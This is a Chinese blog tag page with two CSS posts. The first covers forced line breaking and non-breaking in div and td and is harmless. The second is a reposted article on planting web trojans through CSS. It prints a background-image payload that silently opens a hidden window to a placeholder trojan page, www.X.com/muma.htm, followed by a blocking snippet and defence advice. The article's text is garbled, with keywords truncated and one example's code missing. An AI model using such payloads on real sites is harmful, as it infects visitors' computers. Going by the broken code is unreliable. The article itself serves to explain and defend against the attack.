标签归档:CSS

div、p、td 的强制不换行及强制换行

关于强制不换行、强制换行的话题在网上已经被讨论了无数次,但都不够全面,没有充分考虑各种浏览器、各种标签等情况,以致不兼容,所以再来说说。由于 div 和 p 在本文的讨论中,效果相同,所以省略 p。

文中“没有指定宽度的 td”是指:为 table 指定了宽度,但没有给 td 指定宽度。

强制不换行

div, td { white-space:nowrap; }

这点在 Firefox 的 div 和 td 中,以及 IE 的 div 中,均没有问题。在 IE 的 td 中却很复杂:

如果没有为 td 指定宽度,则上述代码仍然有效。
如果为 td 指定了宽度,并且文字中无标点、无空格,上述代码不再有效。可以加 word-break:keep-all; 解决,这是 CSS3 的内容,不过是 IE 最先提出的,所以 IE6 中也支持。
如果为 td 指定了宽度,并且文字中有标点或空格。可以在文字与 td 之间套一层 div 加以解决。

综合起来,为了简单,使用:

div { white-space:nowrap; }

只是为了兼容 IE 的 td 的不同情况,在文字与 td 之间套一层 div。

强制换行

强制换行是为了遇到一些超长的连续字符串(比如 aaaaaaaaaaaaa)时不撑大布局。

div, td { word-break:break-all; }

word-wrap:break-word; 兼容性不够广,所以我们使用的是 word-break:break-all;。上述代码兼容于 IE、Chrome 的 div、指定宽度的 td、没有指定宽度的 td,非常不错,遗憾的是 Firefox 中不支持这个属性,所以无效果,为了不让其挤乱表格,可以加 overflow:hidden 来凑合着解决。

知其然知其所以然

上面介绍了三种属性:

white-space : normal | nowrap word-wrap : normal | break-word word-break : normal | break-all | keep-all

white-space

空白的处理方式,不止两个属性值,但在 IE6 中只支持这两个,所以不介绍其他的。

normal 多个连续英文空格压缩为一个英文空格显示,在空白处可换行。
nowrap 强制在同一行内显示所有文本,直到文本结束或者遭遇 br 对象。

word-wrap

内容超过容器边界时是否断开转行。

normal 允许(只是允许,不是必须)内容顶开指定的容器边界。
break-word 内容将在边界内换行。

word-break

换行的方式。

normal 英文在标点和空白处换行,中文在任何地方换行。
break-all 英文和中文都在任何地方换行,比如从一个英文单词的中间拆开换行。
keep-all 英文和中文都在标点和空白处换行。兼容多浏览器的 div、p、td 强制不换行及强制换行

CSS代码挂马与防御实战篇【转】

随着Web2.0的普及,各种网页特效用得越来越多,这也给黑客一个可乘之机。他们发现,用来制作网页特效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式其实是从防范E挂马的CSS代码演变而来。

网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。

建议大家在点击陌生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好还是使用一些带网页木马拦截功能的安全辅助工具。

黑客为什么选择CSS挂马?

在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的隐藏,倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网 站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很容易被识破,还不如E来得直接和有效。

但如今交互式的Web2.0网站越来越多,允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。

黑客在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访 问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名 义利用你的信任成功欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。

CSS挂马攻防实录

攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。

方式1:

Body

“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马悄悄地在用户的电脑中运行。

那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。

方式2:

Body

 background-image: url(t:open(“http://www.X.com/muma.htm”,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))

方式1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在方式2中的这段代码,使用了t的Open开窗, 通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。

防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较 大。正确的做法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,进行排查。

目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示:

 emiao1:expression(this.src=”about:blank”,this.outerHTML=”");

        本文由QQ花瓣网( www.qqhuaban.com )首发,转载请注明来源.